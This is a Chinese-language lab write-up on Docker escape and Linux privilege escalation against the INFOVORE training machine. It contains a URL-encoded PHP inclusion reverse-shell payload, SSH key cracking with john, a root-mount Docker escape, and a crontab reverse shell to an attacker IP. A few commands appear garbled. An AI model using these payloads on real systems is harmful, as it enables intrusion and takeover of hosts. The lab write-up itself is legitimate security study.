Linux系统提权-web/普通用户-docker逃逸&提权&shell交互
docker提权分几种情况
1、权限在docker里面逃逸 提权(宿主机)
2、权限不在docker里面借助docker应用去提权(用户归属是docker组 拉镜像 提权)
参考链接https://github.com/cdk-team/CDK
docker逃逸+提权主要分下面几步
破解/etc/shadow
写到宿主机SSH密钥
写到宿主机计划任务
利用CVE漏洞直接利用反弹
INFOVORE lab实验
namp扫出目标机器
nikto扫出可能有文件包含漏洞
通过fuzz测试参数,找到包含路径
漏洞利用源码:https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
运行exp
文件包含/tmp/g反弹shell
http://192.168.161.145/index.php?filename=/tmp/g&1=system(%27bash%20-c%20%22exec%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.161.131%2f4444%200%3E%261%22%27);
ls -la
发现有dockerenv,权限再docker里面
提权
根目录下发现.oldkeys.tgz,复制到tmp目录下解压
cp .oldkeys.tgz /tmp/oldkeys.tgz
tar -zxvf oldkeys.tgz
得到root和root.pub两个文件
使用john爆破root密码
/usr/share/john/ssh2john.py key.txt >key.hash
/usr/share/john/ssh2john.py key.hash --wordlist=/usr/share/wordlists/rockyou.txt
拿到密码
目标机切换成root
有找到pty,要产生一个pty,我们可以使用两种方法,我使用su root -P
拿到第一个flag,但此时还在docker容器内
试着docker逃逸,切到/root/.ssh目录发现有id_rsa.pub文件
。
查看发现真机上有admin用户
尝试使用id_rsa(私钥)获取对admin的访问权限
再通过镜像挂载,把真机的docker里的/mnt目录挂载到真机的/目录上
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
报错了,拉不下来,应该是网络问题
在kali上开个服务,拉个alpine镜像,靶机远程下载这个镜像再加载吧
docker pull alpine
docker save alpine > alpine.tar
wget http://192.168.161:8000
docker < alpine.tar #把镜像加载进来
再通过镜像挂载,把真机的docker里的/mnt目录挂载到真机的/目录上
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
现在只是通过磁盘挂载可以访问到宿主机的目录,如何把宿主机的shell反弹出来?
写到宿主机计划任务反弹shell
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.161.131/6666 0>&1\n" >> /etc/crontab